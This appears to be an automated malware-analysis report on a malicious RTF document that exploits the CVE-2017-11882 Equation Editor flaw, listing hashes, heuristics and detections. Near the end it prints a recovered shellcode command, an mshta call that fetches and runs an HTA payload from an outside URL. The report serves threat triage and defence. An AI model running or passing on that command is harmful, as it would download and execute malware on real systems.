RTF malware analysis — malicious · ef59896e6836f921

MALICIOUS

RTF

8.4 KB Authoring application: Riched20 6.3.9600 First seen: 2019-05-16

MD5: 9c4b392327d5a37d698bb6f57a195e80 SHA-1: b414392a4e181f3b45952400a4d28d04396ea2e7 SHA-256: ef59896e6836f92175b588a4abf6985fe0021aef7d85ed07b7330161aa9c3d3a

382 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object that exploits the CVE-2017-11882 vulnerability in Equation Editor. This vulnerability allows for arbitrary code execution when the object is activated. The embedded artifact 'objdata_00_off000000fe.bin' likely contains the shellcode for this exploit. The presence of an embedded URL, even if currently benign, suggests a potential download or redirection mechanism.

Heuristics 9

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
Equation Editor object class critical RTF_OBJCLASS_EQUATION

Object class 'equation.3' references Equation Editor
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL https://s3.amazonaws.com/icee/WqaT.hta In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off000000fe.bin`	rtf-objdata-decoded	RTF \objdata at offset 0xFE	3546 bytes
SHA-256: `488592f5b1c9f759792f9037a72bb6251483153662c8c0d523e1c3ddd7e457da`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): https://s3.amazonaws.com/icee/WqaT.hta Static shellcode analysis recovered command string(s): mshta https://s3.amazonaws.com/icee/WqaT.hta

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